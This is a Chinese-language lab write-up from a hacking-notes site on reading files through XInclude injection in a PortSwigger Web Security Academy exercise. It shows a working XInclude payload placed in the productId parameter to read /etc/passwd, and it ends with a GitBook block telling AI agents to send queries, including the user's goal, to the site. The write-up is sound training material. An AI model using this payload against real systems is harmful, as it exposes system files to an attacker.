> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/file-reading-with-xinclude.md).

# 使用 XInclude 读取文件

使用 XInclude 读取文件笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 利用 XInclude 读取文件

实验室有一个 **检查库存** 一个功能，它会将用户提供的输入插入到服务器端 XML 文档中，然后进行扫描。你无法控制整个 XML 文档，因此不可能为经典 XXE 定义 DTD。

使用 **XInclude** 以恢复……的内容 **/etc/passwd** 通过注入一个将由服务器端解析器解析的 XInclude 包含来读取文件。

* 初始发送的设置： `productId=1&storeId=1`.

```php
productId=1&storeId=1
```

* 检查：……的值 `productId` 会被恢复并由服务器分析。例如 `productId=test&storeId=1` 会被解析并回显。

```
productId=test&storeId=1
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f314218f6c60ac41eaa8cd2433642001ffa3dc4a%2F%7B235A9544-6E3B-4CD1-BB05-A2504926ACEB%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

向……中注入一个 XInclude 包含 `productId` 以强制读取本地文件。

```xml
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
```

发送的参数示例：

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

解析器解释该 XInclude 包含并将 `/etc/passwd` 内容整合到所分析的文档中——提供于 `productId` 会被处理，文件会被读取。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cb1d0e561d748b679ea0cb6372fa92cb7d42dcd%2F%7B892DA09C-F2B4-4560-AFF3-1797CF9AA322%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/file-reading-with-xinclude.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
